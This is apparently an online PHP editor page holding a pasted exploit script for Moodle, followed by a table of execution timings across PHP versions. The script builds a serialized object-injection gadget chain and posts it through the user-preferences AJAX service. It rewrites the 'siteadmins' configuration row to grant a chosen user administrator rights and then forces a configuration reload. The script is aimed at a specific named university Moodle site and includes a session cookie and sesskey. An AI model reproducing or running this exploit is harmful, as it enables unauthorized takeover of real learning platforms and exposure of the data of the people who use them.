Online PHP editor | perf for P5GaC

<?php namespace gradereport_singleview\local\ui { class feedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } // creating a simple httpPost method which requires php-curl function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } // creating a simple httpGet method which requires php-curl function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ //first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need $base = new gradereport_overview_external(); // now we create the feedback object which inherits the vulnerable __tostring() method from its parent $fb = new gradereport_singleview\local\ui\feedback(); //filling the feedback object with the required properties for the exploit to work $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; //setting the table which we want to alter $fb -> grade -> grade_item -> table = $table; //setting the row id of the row that we want to alter $fb -> grade -> grade_item -> id = $rowId; //setting the column with the value that we want to insert $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); //creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object $arr = array(array($base),$fb); //serializing the array $value = serialize($arr); //we'll set the course_blocks sortorder to 0 so we default to legacy user preference $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //injecting the payload $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); //getting the frontpage so the payload will activate httpGet($url.'http://moodle.najah.edu/my/index.php', $MoodleSession); } $url = 'http://moodle.najah.edu/'; //url of the Moodle site $MoodleSession = '5e69ipruqbisg7vprlcmag8606'; //your MoodleSession cookie value $sesskey = 'dR6co7FJPz'; //your sesskey $table = "config"; //table to update $rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation $column = '92558'; //column name to update, which holds the userid $value = 3; // userid to set as 'siteadmins' Probably want to make it your own update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); //reset the allversionshash config entry with a sha1 hash so the site reloads its configuration $rowId = 375; // row id of 'allversionshash' parameter update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); //reset the sortorder so we can see the front page again without the payload triggering $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //force plugincheck so we can access admin panel httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); } ?>

Version	System time (s)	User time (s)	Memory (MiB)
7.4.0	0.009	0.006	15.28
7.3.12	0.004	0.018	14.88
7.3.11	0.004	0.011	15.08
7.3.10	0.003	0.010	14.89
7.3.9	0.006	0.003	15.00
7.3.8	0.007	0.007	14.90
7.3.7	0.003	0.009	14.96
7.3.6	0.009	0.006	14.84
7.3.5	0.006	0.006	14.91
7.3.4	0.006	0.003	14.52
7.3.3	0.009	0.003	14.83
7.3.2	0.003	0.006	16.53
7.3.1	0.015	0.005	16.50
7.3.0	0.007	0.012	16.46
7.2.25	0.009	0.012	15.22
7.2.24	0.013	0.010	15.09
7.2.23	0.000	0.016	15.15
7.2.22	0.000	0.009	15.17
7.2.21	0.000	0.015	15.38
7.2.20	0.008	0.004	15.13
7.2.19	0.004	0.011	15.21
7.2.18	0.012	0.003	14.91
7.2.17	0.007	0.007	14.89
7.2.13	0.006	0.012	17.11
7.2.12	0.012	0.008	16.56
7.2.11	0.011	0.011	16.56
7.2.10	0.010	0.003	16.50
7.2.9	0.007	0.012	16.43
7.2.8	0.003	0.014	16.54
7.2.7	0.014	0.006	16.59
7.2.6	0.009	0.005	16.81
7.2.5	0.007	0.007	16.80
7.2.4	0.010	0.003	16.63
7.2.3	0.009	0.003	16.52
7.2.2	0.013	0.003	16.88
7.2.1	0.007	0.007	16.83
7.2.0	0.010	0.004	18.19
7.1.33	0.006	0.006	15.92
7.1.32	0.003	0.009	15.61
7.1.31	0.003	0.007	15.76
7.1.30	0.003	0.012	15.82
7.1.29	0.003	0.010	15.82
7.1.28	0.003	0.010	15.75
7.1.27	0.009	0.006	15.66
7.1.26	0.009	0.003	15.91
7.1.25	0.019	0.006	15.63
7.1.20	0.006	0.006	15.79
7.1.10	0.010	0.003	17.73
7.1.7	0.004	0.004	17.28
7.1.6	0.080	0.017	33.45
7.1.5	0.093	0.013	33.18
7.1.4	0.120	0.010	32.89
7.1.3	0.107	0.013	32.66
7.1.2	0.110	0.017	32.84
7.1.1	0.067	0.003	14.89
7.1.0	0.063	0.010	14.92
7.0.20	0.017	0.007	15.05
7.0.19	0.030	0.007	14.91
7.0.18	0.123	0.020	14.51
7.0.17	0.187	0.017	14.48
7.0.16	0.120	0.007	14.33
7.0.15	0.073	0.007	14.73
7.0.14	0.067	0.010	14.66
7.0.13	0.060	0.007	15.01
7.0.12	0.063	0.007	15.04
7.0.11	0.053	0.010	14.70
7.0.10	0.057	0.010	14.60
7.0.9	0.057	0.007	14.73
7.0.8	0.060	0.007	14.75
7.0.7	0.113	0.010	14.85
7.0.6	0.067	0.003	14.62
7.0.5	0.060	0.007	14.72
7.0.4	0.060	0.010	14.73
7.0.3	0.067	0.010	14.75
7.0.2	0.063	0.007	14.67
7.0.1	0.060	0.010	14.84
7.0.0	0.060	0.007	14.68